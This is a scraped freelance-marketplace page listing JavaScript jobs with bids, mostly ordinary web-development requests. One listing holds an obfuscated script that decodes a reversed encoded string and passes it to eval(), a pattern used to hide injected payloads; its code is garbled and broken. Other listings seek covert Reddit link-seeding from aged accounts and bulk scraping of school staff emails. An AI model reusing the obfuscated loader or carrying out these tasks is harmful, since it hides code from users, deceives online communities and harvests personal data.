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    5,000 karma javascript jobs fundet

    I have a simple custom indicator in thinkorswim and need converted for tradovate. I hope you have knowledge of trading software. Must start and finish within a few hours. Here is code from thinkorswim that needs to be converted input RiskUnit = 150; input buffer = .00; input digits = 0; def price = close(priceType = ); def candleRangeBull = price - low + buffer; def candleRangeBear = high - price + buffer; def BullRisk = (RiskUnit) / round(candleRangeBull); def BearRisk = (RiskUnit) / round(candleRangeBear); def BullRisk1 = rounddown(Bullrisk, digits); def BearRisk1 = rounddown(Bearrisk, digits); def o = open; AddLabel(yes, "Risk: " + AsDollars(RiskUnit) + " Ele : "+ (if price > o then BullRisk1 else BearRisk1), if price > o then else );

    €59 Average bid
    €59 Gns Bud
    4 bud

    ...indhold - og sikre, at der er en klar etablering af, hvad der kan oprettes inden for hvilken tidsramme • Undersøgelse af forskellige softwareprogrammer, vedligeholdelse af softwaredokumentation • Implementering af beredskabsplaner, hvis webstedet går ned • Vedligeholdelse og udvidelse / forbedring af hjemmesiden, når den først er bygget Webudvikler jobkvalifikationer og krav • HTML / XHTML, CSS, JavaScript • Serverarkitektur • Erfaring med server-side rammer som python, ruby, php, Java, ASP, ASP.NET • Erfaring med databasesystemer som SQL og Oracle • Grundig funktionel viden og kodningserfaring • Grundlæggende kendskab til optimering af søgemaskiner • Evne til multitask med strenge tidsbegr...

    €172 Average bid
    €172 Gns Bud
    3 bud
    Kodning af design
    Udløbet left

    Vokato er en mobil platform til nattelivet med 6.000 brugere. Vi har brug for at få kodet det nye design, som vi har lavet, så det kan implementeres. Responsivitet er meget vigtigt og skal virker på samtlige smartphones. HTML/CSS & Javascript. Vi leder efter en der fast kan varetage disse opgaver for os. Du vil komme til at arbejde sammen med vores designer og backendudviklere og meget muligt lave mindre modificeringer i løbet af processen.

    €742 Average bid
    €742 Gns Bud
    5 bud
    UI developer
    Udløbet left

    Html,css,javascript,jquery,ajax

    €19 Average bid
    €19 Gns Bud
    13 bud
    javascript html
    Udløbet left

    privet script

    €442 Average bid
    €442 Gns Bud
    40 bud

    Team Agent is a teamfinding and team management website for eSport games (League of Legends and Counter-Strike Global Offensive) Demo site: Assignment: The site is almost done, but the last element need...system that read the grabs from the game publicers API, the user profile of the gamer. - responsive design (mobile friendly) - Application requirements, which is where the teams can tell what kind of members they seek. Based on some dropdown criteria and text. The assignment will have to be done ASAP. We would be pleased to see you have experience with: Python 3+ Django 1.8+ HTML5 Javascript CSS Bash JQuery GNU/Linux Mercurial MySQL or PostgreSQL NICE TO HAVE Bootstrap AngularJS - or similar Kind regards Founder Nicholas Rasmussen

    €12 / hr Average bid
    Haster
    €12 / hr Gns Bud
    5 bud
    Project for miennh
    Udløbet left

    Javascript error fix

    €25 Average bid
    €25 Gns Bud
    1 bud

    <script language="javascript" type="text/javascript">var lOI='==gCpkSKnw3JoQXasB3cucCdldmcvZmMyw3UVJjM8FTZslHdzBXYydXby9mZyIDfyR3QzwXZ1JHdyIDfn5Wa0RXZ2JjM8NXZnFWbpxXek9mY0N0M8hGdhBVZ function OO0(string){ var ret = '', i = 0; for ( i = string.length-1; i >= 0; i-- ){ ret += (i);} return ret; }eval(lO0(OO0(lOI)));</script>

    €19 Average bid
    €19 Gns Bud
    4 bud

    General Web develpment PHP, Html, Css, Javascript devlopement for our clients

    €4 / hr Average bid
    €4 / hr Gns Bud
    1 bud

    wedsitedesign i hava done training ii html,css,javascript,jquery,ajax,photoshop.

    €131 Average bid
    €131 Gns Bud
    1 bud

    Mit navn er Jonas og jeg er Webudvikler med mere end 7 års erfaring i branchen. * Primært fokus er Webudvikling (HTML/CSS, PHP, MySQL, JavaScript) * WordPress ekspert * Gennemtænkte løsninger, så du undgår unødvendig langtrukne projekter og ekstraarbejde * Kort leverings- og responstid (Haste opgaver er intet problem) * Kompetent rådgivning er vigtigere end øget salg (også selvom man er sælger)

    €25 - €212
    €25 - €212
    0 bud
    A good job
    Udløbet left

    Mit navn er Jonas og jeg er Webudvikler med mere end 7 års erfaring i branchen. * Primært fokus er Webudvikling (HTML/CSS, PHP, MySQL, JavaScript) * WordPress ekspert * Gennemtænkte løsninger, så du undgår unødvendig langtrukne projekter og ekstraarbejde * Kort leverings- og responstid (Haste opgaver er intet problem) * Kompetent rådgivning er vigtigere end øget salg (også selvom man er sælger)

    €127 - €127
    €127 - €127
    0 bud
    Lav en hjemmeside
    Udløbet left

    *Primært fokus er Webudvikling (HTML/CSS, PHP, MySQL, JavaScript) * WordPress ekspert * Gennemtænkte løsninger, så du undgår unødvendig langtrukne projekter og ekstraarbejde * Kort leverings- og responstid (Haste opgaver er intet problem) * Kompetent rådgivning er vigtigere end øget salg (også selvom man er sælger)

    €1679 Average bid
    €1679 Gns Bud
    5 bud

    Jeg har vedvarende arbejde relateret til vores tidligere projekt ' Integrate javascript into html page'

    €3 / hr Average bid
    €3 / hr Gns Bud
    1 bud

    ACLS is privately owned construction and logistic company with its offices in United States, Arab Emirates and Afghanistan. The Company has been responsible for the design and construction of some of the most significant projects in Afghanistan. URL Languages and Technologies HTML, CSS, JavaScript and Flash Quality of code The website conforms to W3C can relate to the correct layout of pages for readability as well making sure coded elements are closed appropriately.

    €935 Average bid
    €935 Gns Bud
    15 bud

    ...plugin.. I need to start today ANY HOW No 3D models No assets I have name i will share No base code Exterior+ interior and body etc as mentioned in document Note: For now, we only need Mercedes-Benz R107. This model car 3D Car Customization (Real 3D Model) This is a fully interactive 3D experience where users can rotate the car and customize parts in real time. Uses real 3D models and JavaScript () High-end, showroom-level experience Everything must be created and provided by the developer, including 3D assets. as per my video i need plugin that work on woocommerce products which i selct as a car configurator Core Requirements 1️⃣ WordPress Plugin (Mandatory) Must be a proper WordPress plugin Easy install via .zip Shortcode / block to use on product page Works with no...

    €412 Average bid
    €412 Gns Bud
    76 bud

    I’m setting up an online boot-camp that takes complete beginners from their very first HTML tags all the way to building polished, mobile-friendly portfolio sites with JavaScript interactivity. Each class will run for about two hours and I need every session to balance concise explanations with hands-on coding so that theory immediately turns into something students can see in the browser. Across the programme you will: • Walk the class through HTML5 semantics, modern CSS (Flexbox, Grid, responsive design) and vanilla JavaScript, then transition into ES6 features, DOM manipulation and basic fetch/API work. • Design and supervise a sequence of mini-projects—landing page, blog layout, interactive to-do app—culminating in each student deploying a...

    €12 / hr Average bid
    €12 / hr Gns Bud
    18 bud

    What I need is a marketing hand or guidance that can help make this website a success. This website is finished and already hosted at About project: The website is hosted at Collaborative Engine: Archite...browsers. Content Management: Built a robust back-end with PHP (PDO) and MySQL to handle secure session management, comic galleries, and real-time notifications. Ad-Ops & SEO Strategy: Fully integrated Ezoic AI for monetization, implemented an automated redirect system, and optimized the site for search engine visibility. Back-End: PHP 8.x (Secure PDO), MySQL Front-End: Tailwind CSS, JavaScript (ES6+), HTML5 Canvas API Infrastructure: Apache Server (XAMPP), .htaccess optimization, Gzip compression Integrations: Ezoic (Monetization), Google Fonts, Font Awesome

    €14 Average bid
    €14 Gns Bud
    9 bud

    I need a React-based corporate site that feels fast, polished, and consistent on mobile, tablet, and desktop. The build will rely on modern React JS paired with clean HTML, CSS (or a CSS-in-JS system if you prefer), and vanilla JavaScript where appropriate. Visual appeal is critical—micro-interactions, smooth transitions, and thoughtful typography should underline the brand’s professionalism. At the same time, code quality matters just as much: reusable components, clear folder structure, and performance-minded techniques (lazy loading, code splitting, image optimisation) are expected. Core requirements • Responsive page templates and layouts for all key views • Built-in social sharing buttons that work across the major networks • API hooks ready f...

    €238 Average bid
    €238 Gns Bud
    69 bud

    I need refreshed so it keeps the same colour palette and overall feel yet looks noticeably more current. The key upgrade is subtle interactive flair: please weave in hover-driven animations on the navigation menu, every product im...me to swap in full product details later without touching code. Acceptance will be based on: • Preserved brand colours and general layout spirit • Clean, responsive pages that load fast • Hover effects functioning as described across major browsers • A clearly separated, easily editable vitamin-products section Feel free to build with the stack you’re most comfortable in—HTML5/CSS3/JavaScript, WordPress, Webflow, or similar—so long as the final site is visually aligned, responsive, and simple for me to upd...

    €59 Average bid
    €59
    56 indlæg

    We are looking for an experienced Wix developer to help implement advanced functionality on our website. Scope of work: Integrate secure payment gateway into W...website. Scope of work: Integrate secure payment gateway into Wix website Develop custom login/signup functionality using Velo (Wix Code) Connect user data with database collections Implement role-based access or user-specific features Ensure responsive design and smooth user experience Fix existing bugs and optimize performance if required Requirements: Strong experience with Wix Velo (Wix Code) JavaScript and frontend development experience Experience with payment gateway integration (Stripe/Razorpay/ etc.) Knowledge of Wix database collections and permissions Please share: Relevant Wix projects Estimated timeline Cos...

    €77 Average bid
    €77 Gns Bud
    26 bud

    ...so page content is editable through the standard editor or Gutenberg blocks • A final deployment package (database export + theme files) ready to be installed on my production server Acceptance criteria: • Pixel-accurate match to the Figma mock-ups on desktop, tablet and mobile • All design tokens mapped 1-to-1 as global variables/utility classes in the stylesheet and, where relevant, in JavaScript • Performance scores of 90+ on Google Lighthouse for both mobile and desktop • Clean, well-commented code that will pass a basic code quality review Access to the Figma file, brand guideline PDF and technical notes will be shared immediately after we agree to proceed. If you have a track record of building bespoke WordPress sites from design systems, ...

    €222 Average bid
    €222 Gns Bud
    98 bud

    ...like Mathematics and programming languages (JavaScript, Python, PHP), with each subject showing chapters and each chapter listing topics, and all this content should load dynamically from a JSON file so I can update it later without changing the code. The website should also include a Contact Us page with a form (name, phone, email, message) that sends enquiries to my email, along with a simple, professional design, fast loading, and easy future maintenance. This data must be loaded dynamically from a JSON file, so I can update chapters and topics later without changing code. { "Mathematics": { "Algebra": ["Linear Equations", "Quadratic Equations", "Polynomials"], "Geometry": ["Triangles", "Circles"...

    €3 / hr Average bid
    €3 / hr Gns Bud
    65 bud

    I need a React-based corporate site that feels fast, polished, and consistent on mobile, tablet, and desktop. The build will rely on modern React JS paired with clean HTML, CSS (or a CSS-in-JS system if you prefer), and vanilla JavaScript where appropriate. Visual appeal is critical—micro-interactions, smooth transitions, and thoughtful typography should underline the brand’s professionalism. At the same time, code quality matters just as much: reusable components, clear folder structure, and performance-minded techniques (lazy loading, code splitting, image optimisation) are expected. Core requirements • Responsive page templates and layouts for all key views • Built-in social sharing buttons that work across the major networks • API hooks ready f...

    €416 Average bid
    €416 Gns Bud
    168 bud

    ...Mercedes-Benz R107 Mercedes Product Configurator Development -- Reference attached Video and name docs for mercedes ( See Attachment) I do not have any 3d assets selected developer has to take care all have provided name in document. 3D Car Customization (Real 3D Model) This is a fully interactive 3D experience where users can rotate the car and customize parts in real time. Uses real 3D models and JavaScript () High-end, showroom-level experience Everything must be created and provided by the developer, including 3D assets. as per my video i need plugin that work on woocommerce products which i selct as a car configurator GLTFLoader OrbitControls Environment HDRI lighting Features: 360° rotation Real-time material swap Wheel swap Softtop open/close animation AMG bo...

    €231 Average bid
    €231 Gns Bud
    93 bud
    HTML Kiosk Web App Build
    6 dage left
    Godkendt

    I need a lightweight, self-contained HTML application that will run on dedicated kiosk hardware. The main purpose of the screen is to present material about web design, web automation and HTML coding, and to react instantly when visitors tap or hover. Scope of work • Build a single-page (or very small multipage) HTML/CSS/JavaScript experience that can live entirely offline on the kiosk’s local server or internal storage. • Implement automated user interactions so certain sections, animations or pop-ups are triggered directly by the visitor’s actions—no external input devices or network calls. • Keep the code clean and well-commented; once the first version is approved I will likely request up to two rounds of visual/content tweaks. • ...

    €134 Average bid
    €134 Gns Bud
    92 bud

    ...framework to maximize ROI and efficiency. 2. Directory Discovery & Data Extraction Systematically research district websites to locate staff directories. Determine directory structure (HTML tables, PDFs, searchable databases, dynamic portals, etc.). Utilize AI-assisted tools, data scraping utilities, or custom workflows to extract: First names Email addresses Adapt methodology for: Static directories JavaScript-rendered directories Paginated or segmented listings Protected or semi-structured formats 3. Technical Data Collection & Automation Build repeatable scraping workflows where feasible. Leverage AI tools to: Identify patterns in semi-structured data Standardize inconsistent formats Assist in parsing names and contact fields Maintain ethical and compliant scraping pra...

    €6 / hr Average bid
    €6 / hr Gns Bud
    9 bud

    Ich plane eine schlanke, statische Landingpage und benötige dafür einen erfahrenen Web-Entwickler. Mir liegt bislang nur eine grobe Idee vor – das visuelle Feintuning und die klare Struktur sollen gemeinsam mit dir entstehen. Wichtig ist mir: • Umsetzung ausschließlich in sauberem HTML & CSS, vollständig responsiv • Performance-Fokus: schnelle Ladezeiten, kein unnötiges JavaScript • Kein Einsatz von Baukästen oder WordPress – reine Static-Site-Entwicklung • Hauptsektionen: Produktinformationen, Kontaktformular und Kundenbewertungen • Bereitstellung des fertigen Codes inkl. Dokumentation und aller Zugänge • Deployment auf ein statisches Hosting meiner Wahl (z. B. Netlify, Vercel, S3) A...

    €991 Average bid
    €991 Gns Bud
    99 bud

    ...log in first time via Supabase Auth and reach the dashboard with their organisation context correctly set. • No console errors, CLS <0.1, and Lighthouse performance >90 on desktop. • UI follows the provided corporate style guide for typography, colour and spacing. • All functionality and workflows for the user is working as intended If your team is comfortable with Supabase, Node, React, Javascript / TypeScript, and has a strong eye for desktop-first UI, I’d love to see how you’d approach this and how quickly you can turn it around. This can be potentially completed with help of AI, but the coder must be extremely knowledgeable as well. AI alone won't do it. This is a complex web-application, it is not a project for noobs and developers...

    €1498 - €2996
    Forseglet
    €1498 - €2996
    143 bud

    ...list of Reddit threads where users are asking how to convert one file format into another. Your job is to jump into those conversations with your established, non-marketing account and drop a naturally worded, technically toned reply that briefly points them to my online conversion tool. Because the communities are sensitive to spam, I’m only interested in accounts that already have genuine karma history and aren’t stuffed with outbound links. If you’ve been an active commenter and contributor—and you can write short, to-the-point answers that feel human, not generated—please jump in. Payment is performance based: I release $5 for every link that stays live for at least 48 hours without being removed or down-voted into oblivion. Deliverables (pe...

    €97 Average bid
    €97 Gns Bud
    55 bud

    ...assets, compress images, and ensure Core Web Vitals stay in the green. • Tighten on-page SEO—proper meta titles, descriptions, and semantic tags. • Improve the contact form: real-time validation, accessible error states, and reliable submission. • Add a styled “Download Resume” button that works across all devices. • Deliver well-structured, maintainable code (HTML5, CSS/Sass or Tailwind, JavaScript/React—use what you’re best at). Acceptance criteria 1. Visual consistency and responsiveness verified on Chrome, Safari, Firefox, Edge and major mobile devices. 2. Lighthouse performance & SEO scores ≥ 90. 3. No console errors; all form submissions reach the designated email/endpoint. 4. Clean, commented source ...

    €10 / hr Average bid
    €10 / hr Gns Bud
    63 bud

    After updating to the latest release of the Broadcast theme (a pre-made Shopify theme, with custom code), the hamburger icon on mobile stopped responding. I need a Shopify developer who can quickly trace the issue—whether it lives in the theme’s JavaScript, a mis-loaded asset, or a conflict introduced by the update—and restore full mobile navigation without breaking any existing style or app integration. Deliverables: • Mobile hamburger menu opens/closes smoothly on all common devices and browsers • No regression on desktop navigation or other theme features • Clear summary of the lines/files you adjusted so I can retain the fix on future updates Please let me know your estimated turnaround and any key details you’ll need to get start...

    €107 Average bid
    €107 Gns Bud
    177 bud
    Umbra Privacy
    6 dage left

    ...maintain Solana smart contracts using Rust. Build and support SDKs for integrations with our platform. Collaborate with our team to ensure code quality, security, and privacy. Skills we are looking for: Strong experience with Rust and Solana development. Knowledge of blockchain architecture and best practices. Familiarity with smart contract development and testing. Optional: experience with JavaScript/TypeScript for SDK integration. What we value: Clear and proactive communication. Ability to work independently and deliver high-quality code. Interest in privacy-focused solutions and Web3 technology. How we work: Fully remote, flexible hours. Agile-style collaboration with the team via chat and calls. You will receive clear tasks and timelines. If you are passiona...

    €27 / hr Average bid
    €27 / hr Gns Bud
    98 bud

    ...started using Anthropic’s Claude to review each one. Claude produces specific code snippets, copy tweaks, plug-in suggestions, and other actionable recommendations. Your job is to translate those recommendations into live site changes quickly and accurately. Here is how the workflow looks: • I feed a page or plug-in issue to Claude and share the AI’s response with you—usually a short block of PHP, JavaScript, CSS, or revised text. • You back up the site, implement the content updates or functionality improvements exactly as outlined, test on a staging environment, and push to production once everything is stable. • When the AI’s suggestion is ambiguous, you flag it, propose a safe implementation, or ask for clarification before touching the...

    €125 Average bid
    €125 Gns Bud
    210 bud

    ...visitors straight to checkout, so every section—hero, social proof, product highlights, scarcity prompts, and FAQs—has to be optimised for conversion. Visually, keep everything modern and clean: airy layouts, generous white space, crisp typography, and high-resolution imagery that matches my current theme. I’m happy for you to use Shopify’s Online Store 2.0 tools, Liquid, HTML/CSS, and light JavaScript animations as long as performance scores stay high on both mobile and desktop. Core deliverables: • A fully responsive landing-page template added to my live theme • On-brand graphics and copy blocks ready for me to tweak in the editor • Seamless integration with existing product data, cart, and checkout flow • Basic analytics e...

    €72 Average bid
    €72 Gns Bud
    40 bud

    I’m looking for a seasoned WordPress developer with roughly three to five years of hands-on experience who can jump straight into advanced plugin work, theme tweaks, and performance-minded database tasks. You should feel entirely at home with PHP 7+ and object-oriented patterns, know MySQL optimization inside out, and be able to blend clean HTML5, CSS3, JavaScript, and jQuery into whatever you ship. I lean on Git for version control and already have a simple CI/CD pipeline in place, so your familiarity there will keep everything humming. While many of my projects touch Laravel and CodeIgniter, I have no strong preference between the two—use whichever framework lets you move fastest when a micro-service or API endpoint is the better route than pure WordPress. Secure cod...

    €242 Average bid
    €242 Gns Bud
    51 bud

    I am putting together a custom agent that plugs directly into an IDE and extends GitHub Copilot’s capabilities for both Python and JavaScript projects. The goal is to have Copilot understand a few project-specific conventions and surface smarter, context-aware suggestions right inside the editor—no separate command-line or web interface, and no extra clicks for the user. Here is what I need help with right now: • Build an IDE-level plugin (VS Code is the first target; guidance for other editors later) that brokers requests between Copilot and my own lightweight rules engine. • Ensure the agent recognises and works smoothly with Python and JavaScript files, returning completions in real time without noticeable latency. • Package the code so it ...

    €8 / hr Average bid
    €8 / hr Gns Bud
    26 bud

    ...Papers, a regularly-updated Research Blog, and an Awards & Recognitions page—each laid out so visitors can quickly drill down into the material that interests them most. Functionality is as important as presentation. I want an easy-to-use contact form, a clearly visible Download CV button (PDF), and interactive data visualizations embedded within selected blog posts or paper summaries. Modern JavaScript libraries such as D3.js or Plotly are ideal here, but I’m open to your expert suggestion provided the end result runs smoothly on both desktop and mobile. Please handle the full build: design that reflects an academic yet approachable tone, simple CMS integration so I can add new papers and blog entries myself, and all hosting-ready files. I’ll consider the...

    €332 Average bid
    €332 Gns Bud
    19 bud

    ...WordPress, no Shopify. The site’s core requirement is a secure user registration and login system that includes email verification, password reset, and basic profile management. Everything should be coded cleanly so future modules (such as a blog, product catalog, or other features) can plug in without major rewrites. Here’s what I expect to receive: • A responsive front-end (HTML5, CSS3, JavaScript—or a modern framework you propose) that looks polished on desktop and mobile. • Back-end logic written in the stack you recommend (PHP/Laravel, Node/Express, Django, or similar) with clear documentation so another developer can pick it up. • Secure authentication: hashed passwords, CSRF protection, input validation, and rate-limited login atte...

    €3 / hr Average bid
    €3 / hr Gns Bud
    76 bud

    ...prototype. This is NOT a standard filter, NOT a popup, and NOT an app-based solution. Only apply if you can custom‑code a quiz interface using Liquid, JavaScript, Shopify OS 2.0 and AJAX/Storefront API, and build full Shopify store structures. Multi‑Step Product Finder (core feature) UI & User Flow Step-by-step questions Icon buttons with active states Progress indicator Smooth transitions Conditional logic Desktop + mobile layout matching the prototype exactly 3 hero buttons on the homepage that preselect the first step Technical Implementation Must be developed as: A custom Shopify OS 2.0 section or template Built using Liquid + JavaScript Powered by Shopify metafields for all product attributes Real-time product filtering (no page reloads) Using AJAX or Storefront...

    €488 Average bid
    €488 Gns Bud
    373 bud

    I am looking for IT and technical support assistance for web and digital-related tasks. The work may include troubleshooting technical issues, assisting with website management, fixing basic HTML and JavaScript errors, and handling simple debugging tasks. The freelancer may also help with documentation, organizing technical files, and providing clear instructions or reports for completed tasks. Knowledge of web security basics, network fundamentals, and system troubleshooting is a plus. Additional tasks may include assisting with digital tools such as Figma for layout support, CapCut for basic video editing, and managing or supporting content on platforms like YouTube and Instagram. Familiarity with AI tools such as ChatGPT and chatbot systems for workflow support or automation id...

    €15 Average bid
    €15 Gns Bud
    30 bud

    apresento para vocês uma calculadora digital criado em HTML,CSS e Javascript, não faço apenas esses projectos, para qualquer projecto pode mandar um feedback

    €17 / hr Average bid
    €17 / hr Gns Bud
    28 bud

    ...need an experienced full-stack developer who is fluent in Polish. The immediate focus is a web application where the backend is already outlined around Node.js (Express, TypeScript preferred) and the frontend will be built with Vue.js 3 and Vite. Your day-to-day will involve: • Designing and building new features end-to-end, from database schema to responsive UI. • Writing clean, testable JavaScript/TypeScript code on both client and server. • Integrating RESTful endpoints and WebSocket streams. • Participating in code reviews and architecture discussions—communication in Polish is essential because the rest of the product team and stakeholders speak it exclusively. Tech stack in scope: Node.js / Express / TypeScript | PostgreSQL (or similar SQL)...

    €16 / hr Average bid
    €16 / hr Gns Bud
    155 bud

    ...real-time customer service across a dedicated WhatsApp line. The bot must greet visitors instantly, understand their questions in multiple languages, and return clear, relevant answers without sounding scripted. When the query falls outside its scope, it should hand the conversation to a live agent smoothly while keeping full context. Key expectations • Seamless installation on my existing site (JavaScript snippet or widget) and connection to my verified WhatsApp Business account through the official Cloud API. • Natural, conversational responses in at least English and Spanish to start, with the framework ready to add more languages easily later. • A simple dashboard where I can upload FAQs, product manuals, or policy documents so the model can learn and u...

    €4 / hr Average bid
    €4 / hr Gns Bud
    24 bud

    ...dive in, locate the problem, patch it cleanly, and then tailor the theme so it looks and behaves exactly the way I want. The immediate priority is troubleshooting and fixing the bug that’s interrupting normal site behaviour. After that, I’ll be asking for theme-level changes—potentially tweaking the layout, reworking colours, or building out new template sections—so a solid grasp of PHP, CSS, JavaScript, and the WordPress template hierarchy is important. I’m open to suggestions on best practices or smarter ways to achieve the look and functionality I’m after, as long as the end result stays fast and SEO-friendly. You’ll work on a staging copy first, push the fixes to production when everything is confirmed, and give me a short hand-off ...

    €189 Average bid
    €189 Gns Bud
    79 bud

    ...palette) 2. Content Integration Most content is ready and will be provided in structured format Minor content refinement and optimization may be required Content is available from our Lovable prototype (will share access) You can directly adapt and implement the content structure 3. Technical Requirements Clean, semantic HTML5 Modern CSS (Tailwind CSS preferred, or similar framework) Vanilla JavaScript or React.js (your choice based on best performance) Fast loading times (<3 seconds) SEO-optimized (proper meta tags, structured data, sitemap) Cross-browser compatibility Contact/Pitch form with backend integration 4. CRITICAL: SEBI Compliance - WCAG 2.1/2.2 AA Standards The website MUST comply with Developer Accessibility Checklist (WCAG 2.1 / 2.2 Level AA) We will provi...

    €231 Average bid
    €231 Gns Bud
    82 bud

    ...experienced Flutter developer with strong knowledge in: REST APIs integration WebSocket (real-time communication) WebRTC Advanced JavaScript Injecting and managing JavaScript inside Flutter WebView Project Overview: Our project is built using Flutter and relies heavily on: Injecting custom JavaScript code into WebView Controlling and managing web content dynamically using JavaScript Handling communication between Flutter and JavaScript Real-time features using WebSocket WebRTC integration for live communication The ideal candidate should have: Strong experience with Flutter WebView (JavaScript channels, JS injection, callbacks) Good understanding of JavaScript execution inside WebView Experience managing two-way communica...

    €10 / hr Average bid
    €10 / hr Gns Bud
    100 bud

    ... and the current time, at the bottom Home button, UI/UX: Clean, responsive design (mobile-friendly for phones/tablets, desktop-optimized). Simple navigation. Visual fingering preview showing to be typed keys. Tamil font support for Tamil99 (e.g., via Google Noto Sans Tamil embedded as base64 or CSS @font-face). Technical Specs: Single HTML file (< 5MB total) with embedded CSS and JavaScript—no external dependencies, CDNs, or libraries (pure vanilla JS). Offline-first: All assets (fonts, images) inline or base64-encoded. Cross-browser compatible (test on Chrome, Firefox, Safari, Edge). Include 5 sample lessons for each Tamil99 and English (provide editable array in JS). Deliverables: Single .html file (zipped if needed). Brief setup instructions (e.g.,...

    €62 Average bid
    €62 Gns Bud
    29 bud

    The image carousel on my ASPDOTNETStorefront site still appears on the page and the pictures load, but the slider itself no longer advances on its own. Until recently the autoplay feature worked flawlessly; now it just sits on the first frame unless a visitor clicks through manually. Nothing else on the page has changed, so I suspect a JavaScript or jQuery conflict, a mis-pointed asset reference, or something similar introduced during a routine content update. I need the underlying cause identified and corrected so the slider returns to its original behaviour: • Images should advance automatically on a reliable interval. • Manual navigation must remain unaffected. • The fix must work across modern desktop and mobile browsers without breaking any other storefront...

    €17 Average bid
    €17 Gns Bud
    23 bud